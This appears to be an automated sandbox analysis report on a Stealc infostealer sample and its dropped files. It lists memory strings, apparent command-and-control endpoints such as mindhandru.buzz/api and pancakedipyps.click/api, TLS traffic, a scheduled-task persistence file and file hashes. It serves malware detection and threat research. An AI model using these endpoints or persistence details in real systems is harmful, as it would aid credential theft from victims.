Source: vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: vVJvxAfBDM.exe, 00000000.00000003.1413631562.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2158525173.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500
Source: vVJvxAfBDM.exe, 00000000.00000003.1413631562.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2158525173.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500000.1&cta
Source: vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: vVJvxAfBDM.exe, 00000000.00000003.1413631562.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2158525173.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: vVJvxAfBDM.exe, 00000000.00000003.1413631562.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2158525173.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 14dd9bf3c4.exe, 0000000C.00000003.2158525173.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: vVJvxAfBDM.exe, 00000000.00000003.1364861497.000000000148A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: vVJvxAfBDM.exe, 00000000.00000003.1364861497.0000000001475000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/B
Source: vVJvxAfBDM.exe, 00000000.00000003.1625002553.000000000148C000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1625196417.0000000001494000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1624672739.000000000148A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/O
Source: vVJvxAfBDM.exe, 00000000.00000003.1364942295.000000000148C000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1364990220.0000000001494000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1364861497.000000000148A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/U
Source: vVJvxAfBDM.exe, 00000000.00000003.1625095140.00000000014FD000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1624227235.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/a
Source: vVJvxAfBDM.exe, 00000000.00000003.1364861497.000000000148A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: vVJvxAfBDM.exe, 00000000.00000003.1364942295.000000000148C000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1364990220.0000000001494000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1364861497.000000000148A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apip
Source: vVJvxAfBDM.exe, 00000000.00000003.1477417194.00000000014F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/d
Source: vVJvxAfBDM.exe, 00000000.00000003.1364942295.000000000148C000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1364990220.0000000001494000.00000004.00000020.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1364861497.000000000148A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ts
Source: vVJvxAfBDM.exe, 00000000.00000003.1459739003.0000000001475000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api
Source: 14dd9bf3c4.exe, 0000000C.00000002.2552148901.0000000000E07000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2209192000.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2226354022.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: 14dd9bf3c4.exe, 0000000C.00000003.2130776528.0000000003410000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2130979880.0000000003410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/IT/OEL$
Source: 14dd9bf3c4.exe, 0000000C.00000003.2130776528.0000000003410000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2130979880.0000000003410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/PxlFar
Source: 14dd9bf3c4.exe, 0000000C.00000003.2130776528.0000000003410000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2130979880.0000000003410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/SuR8aH
Source: 14dd9bf3c4.exe, 0000000C.00000003.2226354022.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2209163417.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2209192000.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2226354022.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: 14dd9bf3c4.exe, 0000000C.00000003.2209163417.0000000000E56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api$r
Source: 14dd9bf3c4.exe, 0000000C.00000002.2554200777.0000000000E52000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2226354022.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api0ra
Source: 14dd9bf3c4.exe, 0000000C.00000003.2130926258.000000000341E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api4
Source: 14dd9bf3c4.exe, 0000000C.00000003.2130776528.000000000341A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apiI
Source: 14dd9bf3c4.exe, 0000000C.00000002.2554200777.0000000000E52000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2209192000.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2226354022.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apimo8
Source: 14dd9bf3c4.exe, 0000000C.00000003.2130776528.0000000003410000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2130979880.0000000003410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apin
Source: 14dd9bf3c4.exe, 0000000C.00000003.2130776528.0000000003410000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2130979880.0000000003410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apis
Source: 14dd9bf3c4.exe, 0000000C.00000003.2130776528.0000000003410000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2130979880.0000000003410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/gNeaSGx
Source: 14dd9bf3c4.exe, 0000000C.00000002.2554200777.0000000000E52000.00000004.00000020.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2226354022.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/mv
Source: 14dd9bf3c4.exe, 0000000C.00000003.2130776528.0000000003410000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2130979880.0000000003410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/otbktJ6
Source: 14dd9bf3c4.exe, 0000000C.00000002.2552148901.0000000000E07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/api
Source: 14dd9bf3c4.exe, 0000000C.00000003.2158090299.0000000003525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 14dd9bf3c4.exe, 0000000C.00000003.2158090299.0000000003525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: vVJvxAfBDM.exe, 00000000.00000003.1413631562.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2158525173.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_f6f292994d7c60be109e4c185cbc03032d36d17160d4e639
Source: vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: vVJvxAfBDM.exe, 00000000.00000003.1367131654.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1366977767.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367048752.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105711821.000000000344C000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2105825707.000000000344A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106012189.000000000344A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: vVJvxAfBDM.exe, 00000000.00000003.1413631562.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2158525173.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: 14dd9bf3c4.exe, 0000000C.00000003.2158090299.0000000003525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.8Z86fTxZfkM6
Source: 14dd9bf3c4.exe, 0000000C.00000003.2158090299.0000000003525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.UnUp0v0CLe9Y
Source: vVJvxAfBDM.exe, 00000000.00000003.1413254553.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2158090299.0000000003525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 14dd9bf3c4.exe, 0000000C.00000003.2158090299.0000000003525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: vVJvxAfBDM.exe, 00000000.00000003.1413254553.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2158090299.0000000003525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.11:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.11:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.11:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.11:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.11:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.11:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.11:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.11:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.11:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.11:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.11:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.11:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.11:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.11:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.11:49936 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.280000.0.unpack, type: UNPACKEDPE

Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io

PE file contains section with special chars

Source: vVJvxAfBDM.exe	Static PE information: section name:
Source: vVJvxAfBDM.exe	Static PE information: section name: .idata
Source: vVJvxAfBDM.exe	Static PE information: section name:
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.0.dr	Static PE information: section name:
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.0.dr	Static PE information: section name: .idata
Source: KXEO11ILDTYX6ZOG0B.exe.0.dr	Static PE information: section name:
Source: KXEO11ILDTYX6ZOG0B.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_007BCB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

7_2_007BCB97

Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Code function: 5_2_00718860	5_2_00718860
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Code function: 5_2_00717049	5_2_00717049
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Code function: 5_2_007178BB	5_2_007178BB
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Code function: 5_2_007E8101	5_2_007E8101
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Code function: 5_2_007131A8	5_2_007131A8
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Code function: 5_2_007E7B6E	5_2_007E7B6E
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Code function: 5_2_006D4B30	5_2_006D4B30
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Code function: 5_2_00712D10	5_2_00712D10
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Code function: 5_2_006D4DE0	5_2_006D4DE0
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Code function: 5_2_00707F36	5_2_00707F36
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Code function: 5_2_0071779B	5_2_0071779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007E8860	6_2_007E8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007E7049	6_2_007E7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007E78BB	6_2_007E78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007E31A8	6_2_007E31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007A4B30	6_2_007A4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007E2D10	6_2_007E2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007A4DE0	6_2_007A4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007D7F36	6_2_007D7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007E779B	6_2_007E779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007AE530	7_2_007AE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007C6192	7_2_007C6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007E8860	7_2_007E8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007A4B30	7_2_007A4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007E2D10	7_2_007E2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007A4DE0	7_2_007A4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007C0E13	7_2_007C0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007E7049	7_2_007E7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007E31A8	7_2_007E31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007C1602	7_2_007C1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007E779B	7_2_007E779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007E78BB	7_2_007E78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007C3DF1	7_2_007C3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007D7F36	7_2_007D7F36

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\random[1].exe 49BFA0B1C3553208E59B6B881A58C94BB4AA3D09E51C3F510F207B7B24675864
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe 49BFA0B1C3553208E59B6B881A58C94BB4AA3D09E51C3F510F207B7B24675864
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe 69EA228FAD500972C7022F828D8CE864E841C10C79538FBF9188E2CFD1203098

Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Code function: String function: 006E80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007BD64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007B7A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007B80C0 appears 263 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007D8E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007BDF80 appears 63 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007BD942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007BD663 appears 39 times

Source: vVJvxAfBDM.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 3.2.SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.280000.0.unpack, type: UNPACKEDPE

Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b

